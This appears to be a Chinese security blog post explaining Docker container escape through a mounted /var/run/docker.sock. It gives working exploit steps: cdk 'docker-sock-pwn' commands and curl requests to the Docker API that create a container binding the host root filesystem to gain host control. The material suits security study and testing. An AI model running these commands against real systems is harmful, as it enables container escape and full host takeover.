前言
docker是C/S架构,输入docker version
命令实际上是通过客户端将请求发送到同一台电脑上的Doceker Daemon服务,由Docker Daemon返回信息,客户端收到信息后展示在控制台上。
Doceker Daemon
默认监听的是/var/run/docker.sock
这个文件,所以docker客户端只要把请求发往这里,daemon就能收到并且做出响应。也就是向/var/run/docker.sock
发送请求,也能达到docker ps
、docker images ls
这样的效果。
漏洞介绍
很多容器启动时,会挂载宿主机的/var/run/docker.sock
文件,在容器内部直接与docker守护进程通信进行接口调用。比如kafka的docker-compose.yml
就挂载了这个文件。
下面的命令可以达到docker ps
同样的结果:
curl -i -s --unix-socket /var/run/docker.sock -X GET http://aaa/containers/json
# 其中aaa这个域名无所谓,换成任何都可以,在网上见到的示例为localhost
更多api接口可以查看docker的官方文档:
https://docs.docker.com/engine/api/v1.24/#31-containers
关于/var/run/docker.sock
文件的理解可以参考这篇文章:
https://cloud.tencent.com/developer/article/1454335
漏洞利用
cdk关于该漏洞的exp
cdk提供对该漏洞的验证poc和利用exp。
# 本脚本将尝试连接Docker API并回传宿主机的docker运行信息,以检查API是否可用。
./cdk run docker-sock-check /var/run/docker.sock
# 本脚本将控制宿主机的docker进程,拉取指定的后门镜像并运行,运行过程中镜像将宿主机的根目录/挂载到容器内部的/host目录下,便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。
./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success"
漏洞复现
启动一个docker容器,主机的根目录安装到容器的一个卷上,这样就可以对主机的文件系统执行命令。由于本文中所讨论的漏洞允许你完全的控制API,因此可以控制docker主机。
1)下载 ubuntu 镜像
curl -i -s --unix-socket /var/run/docker.sock -X 'POST' -H 'Content-Type: application/json' http://aaa/images/create?fromImage=ubuntu&tag=latest
2)使用已安装的卷创建容器
curl -i -s --unix-socket /var/run/docker.sock -X 'POST' -H 'Content-Type: application/json' --data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' http://aaa/containers/create
3)启动容器
curl -i -s --unix-socket /var/run/docker.sock -X 'POST' -H 'Content-Type: application/json'http://aaa/containers/<container_ID>/start
至此,就可以利用代码执行漏洞对新容器运行命令。
参考文章
https://www.freebuf.com/articles/system/201793.html